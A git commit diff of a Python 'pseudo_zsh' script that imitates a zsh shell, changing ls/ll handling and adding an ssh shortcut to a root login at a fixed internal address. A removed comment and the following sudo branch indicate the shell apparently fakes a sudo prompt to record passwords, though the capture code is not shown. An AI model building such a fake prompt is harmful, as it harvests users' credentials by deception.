优化 ls 和 ll 命令的默认参数处理,添加对 ssh1 命令的支持
This commit is contained in:
28
main.py
28
main.py
@@ -61,7 +61,6 @@ def pseudo_zsh():
|
||||
if not args: # 如果输入为空,跳过本次循环
|
||||
continue
|
||||
|
||||
# 实现简单的 cd 命令
|
||||
if args[0] == 'cd':
|
||||
try:
|
||||
os.chdir(args[1]) # 切换到指定目录
|
||||
@@ -75,24 +74,15 @@ def pseudo_zsh():
|
||||
print(f"cd: no such file or directory: {args[1]}") # 目录不存在
|
||||
continue
|
||||
if args[0] == 'ls':
|
||||
try:
|
||||
if len(args) == 1:
|
||||
args.append('-l') # 默认参数
|
||||
subprocess.run(['ls'] + args[1:]) # 执行 ls 命令
|
||||
except FileNotFoundError:
|
||||
print(f"zsh: command not found: {args[0]}")
|
||||
|
||||
if args[0] == 'll':
|
||||
try:
|
||||
if len(args) == 1:
|
||||
args.append('-l') # 默认参数
|
||||
subprocess.run(['ls'] + args[1:]) # 执行 ll 命令
|
||||
except FileNotFoundError:
|
||||
print(f"zsh: command not found: {args[0]}")
|
||||
|
||||
|
||||
# 伪造 sudo 密码输入并记录
|
||||
|
||||
if len(args) == 1:
|
||||
args.append('-l') # 默认参数
|
||||
subprocess.run(['ls'] + args[1:]) # 执行 ls 命令
|
||||
if args[0] == 'l':
|
||||
if len(args) == 1:
|
||||
args.append('-l')
|
||||
subprocess.run(['ls'] + args[1:])
|
||||
if args[0] == 'ssh1':
|
||||
subprocess.run(['ssh','root@10.147.17.161'])
|
||||
if args[0] == 'sudo':
|
||||
flight1 = True
|
||||
a = 0
|
||||
|
||||
Reference in New Issue
Block a user